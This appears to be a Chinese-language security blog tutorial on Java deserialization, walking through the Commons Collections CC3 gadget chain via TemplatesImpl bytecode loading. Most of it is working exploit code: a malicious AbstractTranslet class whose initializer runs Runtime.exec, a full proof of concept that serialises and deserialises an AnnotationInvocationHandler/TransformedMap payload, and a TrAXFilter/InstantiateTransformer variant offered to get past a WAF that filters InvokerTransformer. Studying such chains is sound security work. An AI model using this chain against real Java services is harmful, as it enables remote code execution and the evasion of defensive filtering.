了解类是如何加载的

1
2
3
4
5
6
7
      //返回的系统类加载器也是AppClassLoader
ClassLoader c = ClassLoader.getSystemClassLoader();
//动调看一下,最终调用ClassLoader中的defineClass
//loadClass ==> findClass ==> defineClass
Class<?> cl = c.loadClass("Calc");
//必须实例化;否则不会执行任何操作的,
cl.newInstance();

调试得知,最终是调用了ClassLoader.defineClass方法加载的字节码文件

尝试加载任意目录的字节码文件;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
        URLClassLoader cl = new URLClassLoader(new URL[]{new URL("file:///E:\\tmp\\")});
Class<?> c = cl.loadClass("Hello");
c.newInstance();

/*
可以看看URLClassLoader的构造函数;也是调用了System.getSecurityManager();
返回的系统类加载器也是AppClassLoader
并且修改了ucp的值;所以在调用findClass方法时也会有对应的影响
//Resource res = ucp.getResource(path, false);

public URLClassLoader(URL[] urls) {
super();
// this is to make the stack depth consistent with 1.1
SecurityManager security = System.getSecurityManager();
if (security != null) {
security.checkCreateClassLoader();
}
ucp = new URLClassPath(urls);
this.acc = AccessController.getContext();
}
*/

尝试直接利用反射调用ClassLoader.defineClass方法加载字节码文件

注意:倒数第二行,传递参数时;类名”Calc”也可以为空

GPT解释:将类名传入为null,这实际上是在告诉虚拟机不要使用类名来验证类定义,而是直接使用字节码数据进行类的定义。这种情况下,虚拟机会直接使用字节码数据来创建Class对象,然后将其加载到虚拟机中。

1
2
3
4
5
6
7
8
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class<ClassLoader> c = ClassLoader.class;
Method declaredMethod = c.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
declaredMethod.setAccessible(true);
byte[] codes = Files.readAllBytes(Paths.get("E:\\tmp\\Calc.class"));

Class invoke =(Class) declaredMethod.invoke(cl, "Calc", codes, 0, codes.length);
invoke.newInstance();

直接正着看CC3链;

TemplatesImpl构造函数为空(并没有给一些属性值赋值)

1
public TemplatesImpl() { }

TemplatesImpl下的public修饰的newTransformer方法,调用了getTransletInstance方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties, // <<==
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

getTransletInstance方法调用了defineTransletClasses方法

1
2
3
4
5
6
7
8
9
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses(); // <<==

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); // <<==
......

注意:

前提是_name不为空,属性值默认是为空的,再加上构造函数什么也没干(并没有给一些属性值赋值);

所以需要反射修改_name的值,使得值不为空

在getTransletInstance方法中还有一个实例化的操作:_class[_transletIndex].newInstance();

defineTransletClasses方法中调用了defineClass方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]); // <<==
final Class superClass = _class[i].getSuperclass();

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
......

注意:

_bytecodes其实就是我们要加载的恶意的字节码数组,所以肯定要反射赋值;

还需要注意不能使得_tfactory为空,否则在调用方法是会报空指针异常;

但是_tfactory被”transient”修饰了,其实也无需担心;因为在readObject中为_tfactory 赋值了;”_tfactory = new TransformerFactoryImpl();”

还有_auxClasses属性也调用了一个方法,也被”transient”修饰了,并且readObject并没有对_auxClasses属性有赋值的操作;再加上_transletIndex默认值为-1;最后一个if语句会为真,也会抛出异常,所以尝试使得superClass.getName().equals(ABSTRACT_TRANSLET)为真,这样就不会走到else中,也会修改_transletIndex的值为0;

要使得字节码文件中的类的父类是AbstractTranslet

1
2
3
private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
superClass = _class[i].getSuperclass();
superClass.getName().equals(ABSTRACT_TRANSLET)

defineClass最后会调用ClassLoader.defineClass;字节码加载完之后,回到getTransletInstance方法中调用newInstance方法,实现实例化;

1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

Gadget chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
TemplatesImpl.defineTransletClasses
TemplatesImpl.defineClass
ClassLoader.defineClass
TemplatesImpl.getTransletInstance.newInstance

先生成一个字节码文件

再构造代码块中写要执行的命令(再空参函数中写也没问题);然后继承AbstractTranslet类,这是一个抽象类,还要实现抽象方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {

{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public Calc(){}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

然后反射就是修改一下TemplatesImpl的属性值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tCalss = templates.getClass();

Field name = tCalss.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"deadbeef");

Field tfactory = tCalss.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

byte[] bytes = Files.readAllBytes(Paths.get("E:\\tmp\\Calc.class"));
byte[][] codes = {bytes};
Field bytecodes = tCalss.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

templates.newTransformer();

最后还是利用CC1后半部分的链调用templates的newTransformer方法,后部分链用CC6应该可以;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package demo1;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Test7 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException, TransformerConfigurationException {


TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tCalss = templates.getClass();

Field name = tCalss.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"deadbeef");

byte[] bytes = Files.readAllBytes(Paths.get("E:\\tmp\\Calc.class"));
byte[][] codes = {bytes};
Field bytecodes = tCalss.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)

};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","deadbeef");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandler = clazz.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandler.setAccessible(true);
Object o = annotationInvocationHandler.newInstance(Target.class,transformedMap);

serialize(o);
unserialize();

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}

上面的poc最后是用InvokerTransformer类的transform调用的templates的newTransformer方法;

如果waf过滤了”InvokerTransformer”

还有一种方法可以通过InstantiateTransformer类的transform调用TrAXFilter的构造方法类调用templates的newTransformer方法;

TrAXFilter调用了newTransformer方法,而且templates是可控的

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
      TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tCalss = templates.getClass();

Field name = tCalss.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"deadbeef");

Field tfactory = tCalss.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

byte[] bytes = Files.readAllBytes(Paths.get("E:\\tmp\\Calc.class"));
byte[][] codes = {bytes};
Field bytecodes = tCalss.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

//templates.newTransformer
Class<?> trAXFilterClass = TrAXFilter.class;
Constructor<?> constructor = trAXFilterClass.getConstructor(Templates.class);
constructor.newInstance(templates);

InstantiateTransformer的transform方法,可以调用任意一个类的有参构造方法,所以就可以尝试调用TrAXFilter的构造方法,并把templates传递过去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
......

最后将poc中的transformers数组改成下面这样,也是可以的;

1
2
3
4
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};